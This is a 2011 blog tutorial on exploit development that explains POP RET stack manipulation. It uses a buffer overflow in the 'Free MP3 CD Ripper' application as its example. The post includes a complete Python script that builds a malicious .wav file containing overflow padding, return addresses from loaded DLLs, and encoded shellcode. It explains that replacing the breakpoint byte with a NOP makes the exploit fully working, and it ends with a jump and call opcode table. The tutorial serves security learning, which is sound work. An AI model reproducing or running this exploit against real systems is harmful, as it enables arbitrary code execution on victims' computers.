Stack Manipulation Using POP RET
Dec 8, 2011 · By Julien Ahrens
Exploiting is a very interesting topic and there are many ways of manipulating the stack. One of those ways is using the POP, RET functions.
Using the “Free MP3 CD Ripper” - Exploit from my first tutorial , I would like to show how a POP RET is basically working (and displayed in IDA), since these are useful commands if the shellcode is not directly placed @ the ESP, but only some bytes away from it on the stack, like ESP+4 or ESP+8…The modified Python script helps to show how jumping to shellcode via a POP, RET will work:
from struct import pack
file="fuzzing.wav"
junk="\\x41"\*4112
eip=pack('<I',0x639D1575) #pop eax,ret from vorbis.dll (loaded @639C0000)
nops = "\\x90" \* 4
ret=pack('<I',0x1511EDFF)
nops2 = "\\x90" \* 2
breakit = "\\xCC" \* 1
shellcode = ("\\xdb\\xc0\\x31\\xc9\\xbf\\x7c\\x16\\x70\\xcc\\xd9\\x74\\x24\\xf4\\xb1\\x1e"
"\\x58\\x31\\x78\\x18\\x83\\xe8\\xfc\\x03\\x78\\x68\\xf4\\x85\\x30\\x78\\xbc\\x65\\xc9\\x78"
"\\xb6\\x23\\xf5\\xf3\\xb4\\xae\\x7d\\x02\\xaa\\x3a\\x32\\x1c\\xbf\\x62\\xed\\x1d\\x54\\xd5"
"\\x66\\x29\\x21\\xe7\\x96\\x60\\xf5\\x71\\xca\\x06\\x35\\xf5\\x14\\xc7\\x7c\\xfb\\x1b\\x05"
"\\x6b\\xf0\\x27\\xdd\\x48\\xfd\\x22\\x38\\x1b\\xa2\\xe8\\xc3\\xf7\\x3b\\x7a\\xcf\\x4c\\x4f"
"\\x23\\xd3\\x53\\xa4\\x57\\xf7\\xd8\\x3b\\x83\\x8e\\x83\\x1f\\x57\\x53\\x64\\x51\\xa1\\x33"
"\\xcd\\xf5\\xc6\\xf5\\xc1\\x7e\\x98\\xf5\\xaa\\xf1\\x05\\xa8\\x26\\x99\\x3d\\x3b\\xc0\\xd9"
"\\xfe\\x51\\x61\\xb6\\x0e\\x2f\\x85\\x19\\x87\\xb7\\x78\\x2f\\x59\\x90\\x7b\\xd7\\x05\\x7f"
"\\xe8\\x7b\\xca")
writeFile = open (file, "w")
writeFile.write(junk+eip+nops+ret+nops2+breakit+shellcode)
writeFile.close()
The .wav gets filled by our usual 4112 bytes of junk first. After that we’ve got the already known position of our EIP, where we’ll fill in a “POP EAX, RET” (opcode: 58 C3 - have a look at the opcode-table at the end of this posting) stolen from the loaded “vorbis.dll”. But what does a “POP EAX” and a “RET” do exactly ? The"POP EAX" takes 4 bytes off the top of the stack and directly stores them into the EAX and “RET” loads the following 4 bytes at ESP into EIP, and therefor gets executed. :-) By the way if the shellcode is 8 bytes away (ESP+8) you simply need to find a “POP, POP, RET” function to jump…
For demonstration purposes, I’ll add another 4 nop-bytes “\x90” after the EIP. Those bytes will be POP’ed to the EAX. The next 4 stack bytes - our already known “JMP ESP” - will used by the RET function. The following 2 nop-bytes and the “\xCC”, which simply breaks the process, will be used to realign the stack. Execute the application, load our new malicious .wav and have a look at the general registers and the stack view now:

The stack view clearly shows you what did happen and what we expected! First: The EIP loaded 0x1BDFEE4 which stores our stolen POP, RET functions from vorbis.dll. Followed by our pseudo-nops “90909090”, which are POP’ed to the EAX using the mentioned function from vorbis.dll. Have a look at the general registers, where you can see that the EAX contains exactly “90909090”. Great! The pop works fine so far. Now the ret gets executed @0x1BDFEEC which contains our stolen “JMP ESP” from “WMVCore.dll”. Then we’ve got some other nops again to realign the Stack (notice that the ESP is @0x1BDFEF0), which means we only need 3 further bytes to point directly to our shellcode. (I’ve just added 2 nops and a break here to break the application flow). In the final version of the exploit simply exchange the “\xCC” with a further nop and the exploit will work again :-).
A nice collection of opcodes:
\* ASM Code:
call eax FF D0
call ebx FF D3
call ecx FF D1
call edx FF D2
call edi FF D7
call esi FF D6
call esp FF D4
call ebp FF D5
call \[eax\] FF 10
call \[ebx\] FF 13
call \[ecx\] FF 11
call \[edx\] FF 12
call \[edi\] FF 17
call \[esi\] FF 16
call \[esp\] FF 14 24
call \[ebp\] FF 55 00
jmp eax FF E0
jmp ebx FF E3
jmp ecx FF E1
jmp edx FF E2
jmp edi FF E7
jmp esi FF E6
jmp esp FF E4
jmp ebp FF E5
jmp \[eax\] FF 20
jmp \[ebx\] FF 23
jmp \[ecx\] FF 21
jmp \[edx\] FF 22
jmp \[edi\] FF 27
jmp \[esi\] FF 26
jmp \[esp\] FF 24 24
jmp \[ebp\] FF 65 00
push eax 50
push ebx 53
push ecx 51
push edx 52
push edi 57
push esi 56
push esp 54
push ebp 55
push \[eax\] FF 30
push \[ebx\] FF 33
push \[ecx\] FF 31
push \[edx\] FF 32
push \[edi\] FF 37
push \[esi\] FF 36
push \[esp\] FF 34 24
push \[ebp\] FF 75 00
pop eax 58
pop ebx 5B
pop ecx 59
pop edx 5A
pop edi 5F
pop esi 5E
pop esp 5C
pop ebp 5D
ret C3